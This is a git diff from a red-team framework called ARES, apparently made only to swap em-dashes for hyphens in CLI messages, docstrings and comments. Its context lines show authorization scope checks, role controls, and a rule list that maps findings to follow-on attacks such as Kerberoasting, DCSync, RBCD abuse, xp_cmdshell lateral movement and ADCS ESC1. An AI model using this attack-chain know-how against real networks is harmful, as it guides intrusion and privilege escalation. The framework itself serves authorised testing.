@@ -281,7 +281,7 @@ app.add_typer(mcp_app, name="mcp")
def version_callback(show: bool) -> None:
if show:
from ares.__version__ import __version__ as _ver
- rprint(f"[bold cyan]ARES[/] v{_ver} — Automated Red team Engagement System")
+ rprint(f"[bold cyan]ARES[/] v{_ver} - Automated Red team Engagement System")
raise typer.Exit()
@@ -291,7 +291,7 @@ def main(
callback=version_callback, is_eager=True,
help="Show version and exit"),
) -> None:
- """ARES — Automated Red team Engagement System."""
+ """ARES - Automated Red team Engagement System."""
# ── Campaign commands ──────────────────────────────────────────────────────────
@@ -332,7 +332,7 @@ def campaign_create(
f"[bold green]✓ Campaign created[/]\n"
f" ID: [cyan]{c.id}[/]\n"
f" Name: {c.name}\n"
- f" Client: {c.client or '—'}\n"
+ f" Client: {c.client or ' - '}\n"
f" Profile: [yellow]{profile}[/]\n"
f" Scope: {', '.join(s.cidr for s in c.scope)}",
title="Campaign Created",
@@ -368,7 +368,7 @@ def campaign_list(
table.add_row(
c.get("id", "")[:8],
c.get("name", ""),
- c.get("client", "—"),
+ c.get("client", " - "),
c.get("noise_profile", "normal"),
str(c.get("finding_count", 0)),
c.get("created_at", ""),
@@ -453,7 +453,7 @@ def campaign_resume(
f"[green]▶ Campaign resumed[/]\n"
f" Checkpoint: [dim]{cp['checkpoint_id']}[/]\n"
f" Saved at: {cp['saved_at']}\n"
- f" Notes: {cp.get('notes', '—') or '—'}\n\n"
+ f" Notes: {cp.get('notes', ' - ') or ' - '}\n\n"
f"Run [cyan]ares module run <id> --campaign {campaign_id[:8]}[/] to continue.",
title="Resumed from Checkpoint",
))
@@ -590,11 +590,11 @@ def module_info(
f" Category: {meta['category']}\n"
f" OpSec: [yellow]{meta['opsec_level']}[/]\n"
f" Author: {meta.get('author', 'ARES Team')}\n"
- f" Requires: {', '.join(meta.get('requires', [])) or '—'}\n"
- f" Outputs: {', '.join(meta.get('outputs', [])) or '—'}\n"
+ f" Requires: {', '.join(meta.get('requires', [])) or ' - '}\n"
+ f" Outputs: {', '.join(meta.get('outputs', [])) or ' - '}\n"
f" MITRE: {', '.join(meta.get('mitre_list', []))}\n"
+ (f"\n[bold]Techniques:[/]\n" + "\n".join(
- f" [cyan]{t.technique_id}[/] {t.name} — [dim]{t.tactic}[/]"
+ f" [cyan]{t.technique_id}[/] {t.name} - [dim]{t.tactic}[/]"
for t in techs
) if techs else ""),
title=f"Module: {module_id}",
@@ -655,8 +655,8 @@ def module_install(
if result and result.get("success"):
console.print(Panel(
f"[green]✓ Installed {module_spec}[/]\n"
- f" Version: {result.get('version', '—')}\n"
- f" Path: [dim]{result.get('path', '—')}[/]\n"
+ f" Version: {result.get('version', ' - ')}\n"
+ f" Path: [dim]{result.get('path', ' - ')}[/]\n"
f" Verified: {'[green]yes[/]' if result.get('verified') else '[yellow]no[/]'}",
title="Module Installed",
))
@@ -780,7 +780,7 @@ def chain_suggest(
suggestions = planner.suggest(ctx, limit=limit)
if not suggestions:
- console.print("[dim]No suggestions available — check registry modules.[/]")
+ console.print("[dim]No suggestions available - check registry modules.[/]")
return
table = Table(title=f"Suggestions for [{goal}] → {target}", show_lines=True)
@@ -842,7 +842,7 @@ def report_generate(
console.print(Panel(
"\n".join(f" [green]✓[/] [cyan]{fmt.upper()}[/] {path}"
for fmt, path in result_paths.items()),
- title=f"Report Generated — {c['name']}",
+ title=f"Report Generated - {c['name']}",
))
else:
console.print("[red]Report generation failed. Check logs.[/]")
@@ -959,7 +959,7 @@ def signing_verify(
"unsigned": "dim", "invalid": "red", "revoked": "red"}.get(
result.trust_level.value, "white"
)
- icon = {"trusted": "✓", "community": "⚠", "unsigned": "—",
+ icon = {"trusted": "✓", "community": "⚠", "unsigned": " - ",
"invalid": "✗", "revoked": "✗"}.get(result.trust_level.value, "?")
console.print(
@@ -1067,7 +1067,7 @@ async def _run_chain(
console.print("[red]c-live-cli:chain-intent-invalid[/]")
return
- plan_table = RTable(title=f"Attack Plan — [{goal}]", show_lines=True)
+ plan_table = RTable(title=f"Attack Plan - [{goal}]", show_lines=True)
plan_table.add_column("#", width=4, style="dim")
plan_table.add_column("Module", width=24, style="cyan")
plan_table.add_column("Reason", width=46)
@@ -1076,7 +1076,7 @@ async def _run_chain(
for i, module_id in enumerate(modules, start=1):
plan_table.add_row(
- str(i), module_id, "deterministic configured chain", "—", "[dim]pending[/]",
+ str(i), module_id, "deterministic configured chain", " - ", "[dim]pending[/]",
)
console.print(plan_table)
@@ -1219,7 +1219,7 @@ def _display_result(module_id: str, result: dict) -> None:
f" Findings: {result.get('findings', 0)}"
+ findings_summary + "\n"
f" Credentials: {result.get('new_credentials', 0)}\n"
- f" New hosts: {', '.join(result.get('discovered_hosts', [])) or '—'}",
+ f" New hosts: {', '.join(result.get('discovered_hosts', [])) or ' - '}",
title=f"Module Result: {module_id}",
))
@@ -1307,7 +1307,7 @@ def doctor(
from pathlib import Path
from ares.modules.ad.dependencies import AD_INSTALL_HINT, AD_SUPPORT_DEPENDENCIES
- console.print("\n[bold]ARES Doctor[/bold] — prerequisite check\n")
+ console.print("\n[bold]ARES Doctor[/bold] - prerequisite check\n")
ok = warn = fail = 0
@@ -1410,7 +1410,7 @@ def doctor(
check(f"impacket {version_match[0]}", "ok", ">= 0.11 required")
elif version_match:
check(f"impacket {version_match[0]}", "warn",
- f"too old ({version_match[0]}); expected >= 0.11 — upgrade: pip install --upgrade impacket")
+ f"too old ({version_match[0]}); expected >= 0.11 - upgrade: pip install --upgrade impacket")
else:
check("impacket (AD/SMB modules)", "ok",
"importable; version unknown from source/local install")
@@ -1574,7 +1574,7 @@ def doctor(
check(f"{tool} ({desc})", "ok", path)
else:
check(f"{tool} ({desc})", "warn",
- f"not in PATH — install: apt install {tool} (Linux) / brew install {tool} (macOS)")
+ f"not in PATH - install: apt install {tool} (Linux) / brew install {tool} (macOS)")
# ── network socket support ────────────────────────────────────────────────
import socket as _socket
@@ -1593,12 +1593,12 @@ def doctor(
content = env_path.read_text()
if "CHANGE_ME" in content:
check(".env configured", "fail",
- "CHANGE_ME placeholders found — run: ares-setup to generate secure keys")
+ "CHANGE_ME placeholders found - run: ares-setup to generate secure keys")
else:
check(".env configured", "ok")
else:
check(".env file", "fail",
- "Missing — run: cp .env.example .env && ares-setup")
+ "Missing - run: cp .env.example .env && ares-setup")
# Database
try:
@@ -1610,7 +1610,7 @@ def doctor(
check("Database (SQLite)", "ok", db_path or ":memory:")
except SystemExit:
check("Settings loadable", "fail",
- "env vars missing — fix: cp .env.example .env && ares-setup")
+ "env vars missing - fix: cp .env.example .env && ares-setup")
except Exception as exc:
check("Settings loadable", "warn", str(exc)[:60])
@@ -1621,7 +1621,7 @@ def doctor(
console.print(f"[bold green]All {total} checks passed.[/bold green] ARES is ready.\n")
elif fail == 0:
console.print(f"[bold yellow]{ok}/{total} checks OK, {warn} warning(s).[/bold yellow]"
- " ARES should work — optional tools missing.\n")
+ " ARES should work - optional tools missing.\n")
else:
console.print(f"[bold red]{fail} check(s) failed.[/bold red]"
f" Fix the [FAIL] items above, then re-run [cyan]ares doctor[/cyan].\n")
@@ -2124,7 +2124,7 @@ def dashboard_dev(
@app.command("quickstart")
def quickstart() -> None:
- """Guided wizard for first-time users — creates your first campaign."""
+ """Guided wizard for first-time users - creates your first campaign."""
import uuid
console.print("\n[bold cyan]ARES Quick Start Wizard[/bold cyan]\n")
@@ -2333,7 +2333,7 @@ def goal_run(
console.print("[red]c-live-cli:goal-intent-invalid[/]")
raise typer.Exit(1)
- table = Table(title=f"[bold]Goal Preview — {goal}[/bold]", show_lines=True)
+ table = Table(title=f"[bold]Goal Preview - {goal}[/bold]", show_lines=True)
table.add_column("Step", style="cyan", width=5)
table.add_column("Module", style="green")
table.add_column("Reason")
@@ -2343,7 +2343,7 @@ def goal_run(
console.print(f"\n[dim]Estimated duration: {min(len(modules) * 3, 60)} min[/dim]")
if dry_run:
- console.print("[yellow]Preview only — no HTTP request or module code executed.[/yellow]")
+ console.print("[yellow]Preview only - no HTTP request or module code executed.[/yellow]")
return
try:
@@ -2449,12 +2449,12 @@ def graph_show(
f"Edges: [cyan]{stats['edges']}[/cyan] "
f"High-value targets: [red]{stats['high_value']}[/red] "
f"Attack paths: [yellow]{stats['attack_paths']}[/yellow]",
- title=f"Attack Graph — Campaign {campaign_id[:8]}",
+ title=f"Attack Graph - Campaign {campaign_id[:8]}",
))
paths = graph.top_paths(n=top_n)
if not paths:
- console.print("[dim]No attack paths found yet — run recon modules first.[/dim]")
+ console.print("[dim]No attack paths found yet - run recon modules first.[/dim]")
return
for i, p in enumerate(paths, 1):
@@ -2557,7 +2557,7 @@ def module_create(
module_code = f'''\
from __future__ import annotations
"""
-{class_name} — {desc_str}
+{class_name} - {desc_str}
MITRE ATT&CK: Fill in technique ID (e.g. T1558.003 for Kerberoasting)
"""
@@ -2587,7 +2587,7 @@ class {class_name}(BaseModule):
{desc_str}
Parameters:
- target — target host IP or hostname
+ target - target host IP or hostname
# Add module-specific params here, e.g.:
# target_port: int = 445, # target port number
"""
@@ -2638,7 +2638,7 @@ class {class_name}(BaseModule):
)
async def run(self, **kwargs: Any):
- """Legacy interface — do not modify."""
+ """Legacy interface - do not modify."""
ctx = ExecutionContext.for_test(**kwargs)
result = await self.execute(ctx)
return result.findings, result.raw
@@ -2716,7 +2716,7 @@ async def test_missing_target_raises(module):
f" 2. Fill in [cyan]REQUIRES[/cyan], [cyan]OUTPUTS[/cyan], [cyan]mitre[/cyan] metadata\n"
f" 3. Run tests: [cyan]pytest {test_file.name}[/cyan]\n"
f" 4. Install: [cyan]ares module install ./{module_file.name}[/cyan]",
- title=f"ares module create — {module_id}",
+ title=f"ares module create - {module_id}",
))
diff --git a/ares/collab/__init__.py b/ares/collab/__init__.py
index 263ea54..31d97f6 100644
--- a/ares/collab/__init__.py
+++ b/ares/collab/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — collab
+ARES - collab
Multi-operator collaboration manager
Public API for this package. Import from here in production code:
diff --git a/ares/collab/manager.py b/ares/collab/manager.py
index 983d889..1227119 100644
--- a/ares/collab/manager.py
+++ b/ares/collab/manager.py
@@ -3,10 +3,10 @@ ARES Multi-Operator Collaboration
Supports multiple red team operators working on the same campaign.
Roles:
- TEAM_LEAD — full access: start/stop campaign, manage operators
- OPERATOR — run modules, view findings, create artifacts
- RECON — recon modules only (enumeration, no lateral/exploit)
- REPORTER — read-only access to findings and artifacts
+ TEAM_LEAD - full access: start/stop campaign, manage operators
+ OPERATOR - run modules, view findings, create artifacts
+ RECON - recon modules only (enumeration, no lateral/exploit)
+ REPORTER - read-only access to findings and artifacts
Operator session tracking:
- Each operator has independent local session state
@@ -19,8 +19,8 @@ Conflict prevention:
- Warning emitted if two operators target same host
State synchronization:
- - In-memory (single ARES process) — direct Python references
- - Multi-process (Redis pub/sub) — JSON delta events
+ - In-memory (single ARES process) - direct Python references
+ - Multi-process (Redis pub/sub) - JSON delta events
"""
from __future__ import annotations
@@ -74,13 +74,13 @@ def can_role_run_module(
Priority:
1. ROLE_PERMISSIONS prefix-based fast path
- 2. Registry OPSEC_LEVEL fallback for RECON — LOW-opsec modules allowed
+ 2. Registry OPSEC_LEVEL fallback for RECON - LOW-opsec modules allowed
even if their prefix isn't in RECON's list
Args:
role: OperatorRole enum or plain string (e.g. "operator")
module_id: Dotted module ID (e.g. "ad.kerberoast")
- registry: Optional ModuleRegistry — enables dynamic OPSEC fallback
+ registry: Optional ModuleRegistry - enables dynamic OPSEC fallback
Returns True if the role may run the module.
"""
@@ -327,7 +327,7 @@ class CollaborationManager:
arg2: str = "",
module_id: str = "",
) -> "tuple[bool, str] | str | None":
- """Async-safe version of acquire_lock — use this from coroutines."""
+ """Async-safe version of acquire_lock - use this from coroutines."""
async with self._get_mutex():
return self.acquire_lock(arg1, arg2, module_id)
diff --git a/ares/core/__init__.py b/ares/core/__init__.py
index b2809b1..4863564 100644
--- a/ares/core/__init__.py
+++ b/ares/core/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — core
+ARES - core
Core ARES data models and engine
Public API for this package. Import from here in production code:
diff --git a/ares/core/campaign.py b/ares/core/campaign.py
index c065ed8..d93d90f 100644
--- a/ares/core/campaign.py
+++ b/ares/core/campaign.py
@@ -1,5 +1,5 @@
"""
-Campaign — tracks engagements, findings, scope, and audit trail.
+Campaign - tracks engagements, findings, scope, and audit trail.
"""
from __future__ import annotations
@@ -70,7 +70,7 @@ class Finding(BaseModel):
"""
Weighted risk = severity.score × confidence.
- This is the legacy/operational metric — higher means more urgent.
+ This is the legacy/operational metric - higher means more urgent.
It is used by the AttackPlanner to prioritize suggested next steps
and in CLI/dashboard summaries.
@@ -89,7 +89,7 @@ class Finding(BaseModel):
return enrich_finding_with_cvss(self)
def to_dict(self) -> dict:
- """Serialize to dict — compatible with sandbox/engine code that calls .to_dict()."""
+ """Serialize to dict - compatible with sandbox/engine code that calls .to_dict()."""
return self.model_dump(mode="json")
def mark_false_positive(self, reason: str) -> None:
@@ -121,7 +121,7 @@ class ScopeEntry(BaseModel):
class AuditEntry(BaseModel):
- """Immutable audit log entry — tracks every action."""
+ """Immutable audit log entry - tracks every action."""
id: str = Field(default_factory=lambda: str(uuid.uuid4()))
timestamp: datetime = Field(default_factory=lambda: datetime.now(timezone.utc))
actor: str = "system"
@@ -225,7 +225,7 @@ class Campaign(BaseModel):
if target and target in explicit_hosts:
return True
- # Not a valid IP literal — attempt DNS resolution
+ # Not a valid IP literal - attempt DNS resolution
import socket as _socket
import logging as _logging
_log = _logging.getLogger("ares.campaign")
@@ -235,7 +235,7 @@ class Campaign(BaseModel):
try:
_loop = _asyncio.get_event_loop()
if _loop.is_running():
- # Running inside async context — use run_in_executor to avoid blocking
+ # Running inside async context - use run_in_executor to avoid blocking
import concurrent.futures as _cf
with _cf.ThreadPoolExecutor(max_workers=1) as _pool:
results = _pool.submit(
@@ -247,7 +247,7 @@ class Campaign(BaseModel):
except RuntimeError:
results = _socket.getaddrinfo(ip, None, _socket.AF_INET, _socket.SOCK_STREAM)
if not results:
- _log.warning("scope_check_dns_no_result: hostname %r resolved to nothing — BLOCKING", ip)
+ _log.warning("scope_check_dns_no_result: hostname %r resolved to nothing - BLOCKING", ip)
return False # Fail closed
resolved_ip = results[0][4][0]
from netaddr import IPAddress as _IPAddr
@@ -263,14 +263,14 @@ class Campaign(BaseModel):
return in_scope
except (_socket.gaierror, TimeoutError, Exception) as dns_exc:
_log.warning(
- "scope_check_dns_failed: hostname %r could not be resolved (%s) — BLOCKING "
+ "scope_check_dns_failed: hostname %r could not be resolved (%s) - BLOCKING "
"(add explicit IP to scope or ensure DNS is available)",
ip, str(dns_exc)[:80],
)
- return False # Fail closed — unresolvable hostname is not in scope
+ return False # Fail closed - unresolvable hostname is not in scope
def check(self, ip: str) -> bool:
- """Alias for is_in_scope — used by guardrail consumers."""
+ """Alias for is_in_scope - used by guardrail consumers."""
return self.is_in_scope(ip)
def summary(self) -> dict[str, int]:
diff --git a/ares/core/capabilities.py b/ares/core/capabilities.py
index 3ca7504..b5850af 100644
--- a/ares/core/capabilities.py
+++ b/ares/core/capabilities.py
@@ -12,13 +12,13 @@ The sandbox enforces these at runtime:
- CAP_FS → allowed to read/write local filesystem
- CAP_DB → allowed to query ARES internal database
- CAP_PROCESS → allowed to inspect/kill local processes (linux privesc)
- - CAP_UNSAFE → no restrictions (HIGH_NOISE modules only — must be explicit)
+ - CAP_UNSAFE → no restrictions (HIGH_NOISE modules only - must be explicit)
Policy enforcement points:
- 1. PluginLoader — verifies declared capabilities are acceptable for trust level
- 2. SandboxRunner — enforces caps via seccomp + resource limits
- 3. WorkerNode — worker dispatches to capability-matched workers
- 4. API endpoint — operator role must have >= module's required caps
+ 1. PluginLoader - verifies declared capabilities are acceptable for trust level
+ 2. SandboxRunner - enforces caps via seccomp + resource limits
+ 3. WorkerNode - worker dispatches to capability-matched workers
+ 4. API endpoint - operator role must have >= module's required caps
Principles:
- Default: DENY ALL capabilities not explicitly declared
@@ -96,10 +96,10 @@ class CapabilityPolicy:
Enforces capability policy at module load time and execution time.
Trust levels:
- builtin — full capabilities including CAP_UNSAFE
- community — CAP_NET, CAP_DB, CAP_FS only
- external — CAP_NET, CAP_DB only (no filesystem writes)
- unsigned — CAP_NET only (strictest)
+ builtin - full capabilities including CAP_UNSAFE
+ community - CAP_NET, CAP_DB, CAP_FS only
+ external - CAP_NET, CAP_DB only (no filesystem writes)
+ unsigned - CAP_NET only (strictest)
"""
TRUST_LEVEL_CAPS: dict[str, frozenset[Capability]] = {
diff --git a/ares/core/chain/__init__.py b/ares/core/chain/__init__.py
index e456590..a085bdd 100644
--- a/ares/core/chain/__init__.py
+++ b/ares/core/chain/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — core.chain
+ARES - core.chain
Attack chain automation and dependency resolution
Public API for this package. Import from here in production code:
diff --git a/ares/core/chain/chain.py b/ares/core/chain/chain.py
index 0fff0b6..adf96e7 100644
--- a/ares/core/chain/chain.py
+++ b/ares/core/chain/chain.py
@@ -24,7 +24,7 @@ Manual chains can also be defined explicitly:
AI suggestion integration:
The ChainAdvisor analyzes confirmed findings
- and suggests what to run next — "found SPN → suggest kerberoast".
+ and suggests what to run next - "found SPN → suggest kerberoast".
"""
from __future__ import annotations
@@ -67,9 +67,9 @@ class DependencyResolver:
Example output:
[
- ["ad.enum_users", "ad.enum_computers"], # Stage 1 — parallel
- ["ad.enum_spn", "ad.enum_acl"], # Stage 2 — parallel
- ["ad.kerberoast", "ad.asreproast"], # Stage 3 — parallel
+ ["ad.enum_users", "ad.enum_computers"], # Stage 1 - parallel
+ ["ad.enum_spn", "ad.enum_acl"], # Stage 2 - parallel
+ ["ad.kerberoast", "ad.asreproast"], # Stage 3 - parallel
]
"""
ids = {n.module_id for n in nodes}
@@ -244,7 +244,7 @@ class AttackChain:
def auto(cls, registry: "ModuleRegistry", module_ids: list[str], name: str = "auto") -> "AttackChain":
"""
Build a chain automatically from module REQUIRES/OUTPUTS metadata.
- The engine will figure out the right order — you just list module IDs.
+ The engine will figure out the right order - you just list module IDs.
"""
cap_resolver = CapabilityResolver(registry)
nodes = cap_resolver.build_nodes(module_ids)
@@ -290,7 +290,7 @@ class ChainAdvisor:
"""
Analyzes confirmed findings and suggests next attack modules.
- This is rule-based, not ML — but structured so an LLM could
+ This is rule-based, not ML - but structured so an LLM could
replace the rule engine later.
Example:
@@ -313,7 +313,7 @@ class ChainAdvisor:
rules = [
(
any("spn" in t for t in titles),
- Suggestion("ad.kerberoast", "SPN accounts found — request TGS hashes", 0.95, 1),
+ Suggestion("ad.kerberoast", "SPN accounts found - request TGS hashes", 0.95, 1),
),
(
any("pre-auth disabled" in t or "asrep" in t for t in titles),
@@ -325,52 +325,52 @@ class ChainAdvisor:
),
(
any("docker socket" in t for t in titles),
- Suggestion("linux.container", "Docker socket found — container escape possible", 0.90, 1),
+ Suggestion("linux.container", "Docker socket found - container escape possible", 0.90, 1),
),
(
any("suid" in t or "sudo nopasswd" in t for t in titles),
- Suggestion("linux.privesc", "Privilege escalation vector found — enumerate further", 0.85, 1),
+ Suggestion("linux.privesc", "Privilege escalation vector found - enumerate further", 0.85, 1),
),
(
any("s3 public" in t or "imds" in t for t in titles),
- Suggestion("cloud.aws", "AWS misconfiguration found — expand AWS enumeration", 0.80, 2),
+ Suggestion("cloud.aws", "AWS misconfiguration found - expand AWS enumeration", 0.80, 2),
),
(
"T1558.003" in mitre_seen and "ad.dcsync" in {f.module_id for f in findings if hasattr(f, "module_id")},
- Suggestion("ad.dcsync", "Kerberoast hashes obtained — if cracked, attempt DCSync", 0.70, 3),
+ Suggestion("ad.dcsync", "Kerberoast hashes obtained - if cracked, attempt DCSync", 0.70, 3),
),
(
"critical" in severities,
- Suggestion("ad.enum_acl", "Critical findings present — check for ACL abuse paths", 0.75, 2),
+ Suggestion("ad.enum_acl", "Critical findings present - check for ACL abuse paths", 0.75, 2),
),
# ── New rules for Roadmap modules ─────────────────────────────────
(
any("genericwrite" in t and "computer" in t for t in titles),
Suggestion("ad.delegation_abuse",
- "GenericWrite on computer found — RBCD attack to local admin", 0.90, 2),
+ "GenericWrite on computer found - RBCD attack to local admin", 0.90, 2),
),
(
any("smb relay" in t or "smb_relay" in t for t in titles) and
any("domain controller" in t or "is_dc" in t for t in titles),
Suggestion("ad.coerce",
- "SMB relay active + DC in scope — force DC authentication via coercion", 0.88, 1),
+ "SMB relay active + DC in scope - force DC authentication via coercion", 0.88, 1),
),
(
any("kerberoast" in t or "asrep" in t or "ntlm hash" in t for t in titles) and
not any("cracked" in t for t in titles),
Suggestion("credential.crack",
- "Uncracked hashes in vault — run hashcat/john to recover plaintext", 0.95, 1),
+ "Uncracked hashes in vault - run hashcat/john to recover plaintext", 0.95, 1),
),
(
any("mssql" in t or "sql server" in t or "1433" in t for t in titles),
Suggestion("lateral.mssql",
- "MSSQL detected — attempt xp_cmdshell lateral movement", 0.80, 2),
+ "MSSQL detected - attempt xp_cmdshell lateral movement", 0.80, 2),
),
(
any("esc1" in t or "esc2" in t or "adcs" in t or "certificate template" in t
for t in titles),
Suggestion("ad.adcs",
- "ADCS vulnerability found — exploit ESC1 for Domain Admin certificate", 0.92, 1),
+ "ADCS vulnerability found - exploit ESC1 for Domain Admin certificate", 0.92, 1),
),
]
diff --git a/ares/core/config.py b/ares/core/config.py
index b9e1be7..c105042 100644
--- a/ares/core/config.py
+++ b/ares/core/config.py
@@ -1,7 +1,7 @@
"""
ARES Configuration
Typed settings loaded from environment / .env file.
-No hardcoded secrets — ever.
+No hardcoded secrets - ever.
"""
from __future__ import annotations
@@ -62,7 +62,7 @@ class LogSettings(BaseSettings):
class AresSettings(BaseSettings):
- """Master settings — loads from .env automatically."""
+ """Master settings - loads from .env automatically."""
model_config = SettingsConfigDict(
env_file=".env",
env_file_encoding="utf-8",
@@ -98,7 +98,7 @@ class AresSettings(BaseSettings):
ares_default_jitter_min_ms: int = Field(500, ge=0)
ares_default_jitter_max_ms: int = Field(3000, ge=0)
- # Redis (optional — enables multi-pod rate limiting)
+ # Redis (optional - enables multi-pod rate limiting)
# Set to empty string or omit to use in-process fallback
ares_redis_url: str = Field(
default="",
@@ -111,7 +111,7 @@ class AresSettings(BaseSettings):
ares_webhook_timeout: float = Field(default=5.0, description="HTTP timeout seconds")
ares_webhook_retry: int = Field(default=2, ge=0, le=5, description="Max retries on failure")
- # OpenTelemetry (optional — distributed tracing)
+ # OpenTelemetry (optional - distributed tracing)
ares_otel_endpoint: str = Field(default="", description="OTLP gRPC endpoint e.g. http://jaeger:4317")
ares_otel_service: str = Field(default="ares-api", description="Service name in traces")
ares_otel_sample_rate: float = Field(default=1.0, ge=0.0, le=1.0, description="Trace sampling rate")
@@ -140,7 +140,7 @@ class AresSettings(BaseSettings):
def trusted_hosts_list(self) -> list[str]:
return [h.strip() for h in self.ares_trusted_hosts.split(",") if h.strip()]
- # Bootstrap — initial admin password, must be set via ARES_DEFAULT_ADMIN_PASSWORD env var.
+ # Bootstrap - initial admin password, must be set via ARES_DEFAULT_ADMIN_PASSWORD env var.
# No default is provided; ARES will refuse to start if this is unset.
# Rotate immediately after first login via POST /auth/change-password.
ares_default_admin_password: str = Field(
@@ -173,7 +173,7 @@ class AresSettings(BaseSettings):
"ARES_JWT_ALGORITHM=RS256 requires ARES_JWT_PRIVATE_KEY_PATH. "
"Generate: openssl genrsa -out jwt_private.pem 2048"
)
- return self.ares_jwt_private_key_path # path — security.py loads the file
+ return self.ares_jwt_private_key_path # path - security.py loads the file
return self.secret_key_value
@property
@@ -189,7 +189,7 @@ class AresSettings(BaseSettings):
"ARES_JWT_ALGORITHM=RS256 requires ARES_JWT_PUBLIC_KEY_PATH. "
"Generate: openssl rsa -in jwt_private.pem -pubout -out jwt_public.pem"
)
- return self.ares_jwt_public_key_path # path — security.py loads the file
+ return self.ares_jwt_public_key_path # path - security.py loads the file
return self.secret_key_value
@property
@@ -209,7 +209,7 @@ class AresSettings(BaseSettings):
@lru_cache(maxsize=1)
def get_settings() -> AresSettings:
"""
- Cached settings instance — call this everywhere.
+ Cached settings instance - call this everywhere.
Raises a clean, actionable error if required env vars are missing.
"""
try:
@@ -221,10 +221,10 @@ def get_settings() -> AresSettings:
"\n\033[1m\033[31m❌ ARES not configured.\033[0m\n"
"\n"
" Required environment variables are missing:\n"
- " ARES_SECRET_KEY — generate: openssl rand -hex 32\n"
- " ARES_ENCRYPTION_KEY — generate: python -c "
+ " ARES_SECRET_KEY - generate: openssl rand -hex 32\n"
+ " ARES_ENCRYPTION_KEY - generate: python -c "
"'from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())'\n"
- " ARES_DEFAULT_ADMIN_PASSWORD — min 12 chars, rotate after first login\n"
+ " ARES_DEFAULT_ADMIN_PASSWORD - min 12 chars, rotate after first login\n"
"\n"
" \033[1mQuickest fix:\033[0m\n"
" bash scripts/setup.sh\n"
diff --git a/ares/core/context.py b/ares/core/context.py
index d432b96..d847ea3 100644
--- a/ares/core/context.py
+++ b/ares/core/context.py
@@ -55,15 +55,15 @@ class ExecutionContext(Generic[P]):
Immutable after construction (fields are set once by the engine).
Required fields:
- target — IP address or hostname being attacked
- campaign_id — which campaign this belongs to
- module_id — which module will consume this context
+ target - IP address or hostname being attacked
+ campaign_id - which campaign this belongs to
+ module_id - which module will consume this context
Optional but strongly recommended:
- credentials — ordered list of credentials to try
- session — shared operator session (host states, attack history)
- params — module-specific parameters
- operator — operator username for audit logging
+ credentials - ordered list of credentials to try
+ session - shared operator session (host states, attack history)
+ params - module-specific parameters
+ operator - operator username for audit logging
"""
# ── Identity ──────────────────────────────────────────────────────────
@@ -86,7 +86,7 @@ class ExecutionContext(Generic[P]):
primary_credential: Any = None # best credential to try first
# ── Shared state ──────────────────────────────────────────────────────
- # These are references — mutations visible to engine after execution
+ # These are references - mutations visible to engine after execution
session: Any = None # OperatorSession
vault: Any = None # CredentialVault
artifact_store: Any = None # ArtifactStore
@@ -105,7 +105,7 @@ class ExecutionContext(Generic[P]):
# ── Audit ─────────────────────────────────────────────────────────────
created_at: float = field(default_factory=time.time)
- dry_run: bool = False # simulation mode — no real network calls
+ dry_run: bool = False # simulation mode - no real network calls
# ── Metadata ──────────────────────────────────────────────────────────
tags: list[str] = field(default_factory=list)
@@ -318,7 +318,7 @@ class ExecutionContext(Generic[P]):
tags: list[str] | None = None,
) -> "ExecutionContext":
"""
- Factory method — preferred way to create an ExecutionContext.
+ Factory method - preferred way to create an ExecutionContext.
Derives campaign_id and operator from the Campaign object.
"""
return cls(
diff --git a/ares/core/di.py b/ares/core/di.py
index de4ebff..74d6e39 100644
--- a/ares/core/di.py
+++ b/ares/core/di.py
@@ -10,7 +10,7 @@ Why DI:
- Swapping Redis for in-process queue = one line change in container config
Design: Service Locator pattern (explicit registration, no magic reflection).
-Not a full IoC container — ARES is a CLI tool, not a web server.
+Not a full IoC container - ARES is a CLI tool, not a web server.
Usage:
# Production setup (in cli/main.py or api/server.py)
@@ -54,18 +54,18 @@ class AresContainer:
Supports both singletons (built once, reused) and factories (built on demand).
Services registered by name:
- "settings" — AresSettings
- "registry" — ModuleRegistry
- "engine" — AresEngine
- "db" — AresDatabase
- "vault" — CredentialVault
- "telemetry" — TelemetryCollector
- "cluster" — ClusterController
- "collab" — CollaborationManager
- "guardrail" — CampaignGuardrail
- "sandbox" — SandboxRunner
- "fingerprint" — EnvironmentFingerprinter
- "kb" — AttackKnowledgeBase
+ "settings" - AresSettings
+ "registry" - ModuleRegistry
+ "engine" - AresEngine
+ "db" - AresDatabase
+ "vault" - CredentialVault
+ "telemetry" - TelemetryCollector
+ "cluster" - ClusterController
+ "collab" - CollaborationManager
+ "guardrail" - CampaignGuardrail
+ "sandbox" - SandboxRunner
+ "fingerprint" - EnvironmentFingerprinter
+ "kb" - AttackKnowledgeBase
"""
def __init__(self) -> None:
@@ -109,7 +109,7 @@ class AresContainer:
if name in self._singletons:
return self._singletons[name]
- # Lazy factories — build and cache as singleton
+ # Lazy factories - build and cache as singleton
if name in self._factories:
instance = self._factories[name]()
self._singletons[name] = instance
diff --git a/ares/core/engine.py b/ares/core/engine.py
index 9315dc8..114ec1f 100644
--- a/ares/core/engine.py
+++ b/ares/core/engine.py
@@ -437,7 +437,7 @@ class AresEngine:
self.load_modules()
if self._registry is None:
raise RuntimeError(
- "ModuleRegistry not initialised — call load_modules() before accessing registry"
+ "ModuleRegistry not initialised - call load_modules() before accessing registry"
)
return self._registry
@@ -506,7 +506,7 @@ class AresEngine:
error=f"Module '{module_id}' not found. Run: ares module list",
)
- # ── RBAC check — role must be allowed to run this module ──────────
+ # ── RBAC check - role must be allowed to run this module ──────────
from ares.collab.manager import can_role_run_module
if not can_role_run_module(actor_role, module_id, self.registry):
@@ -524,8 +524,8 @@ class AresEngine:
),
)
- # ── Scope pre-check — enforce before any module code runs ────────
- # Cloud/reporting modules use API credentials, not host IPs — skip scope check
+ # ── Scope pre-check - enforce before any module code runs ────────
+ # Cloud/reporting modules use API credentials, not host IPs - skip scope check
_NO_SCOPE_CATEGORIES = {"cloud", "reporting", "recon"}
_target = params.get("target", "") or params.get("dc", "") or params.get("host", "")
_module_category = (
@@ -566,7 +566,7 @@ class AresEngine:
t0 = time.monotonic()
try:
- # Build ExecutionContext — new v0.9.0+ interface
+ # Build ExecutionContext - new v0.9.0+ interface
ctx = ExecutionContext.build(
campaign=campaign,
target=params.get("dc") or params.get("host") or params.get("target", ""),
@@ -585,7 +585,7 @@ class AresEngine:
)
# ── validate() before execute() ───────────────────────────
- # Always call validate() first — lets modules fail fast with
+ # Always call validate() first - lets modules fail fast with
# informative errors before any network activity happens.
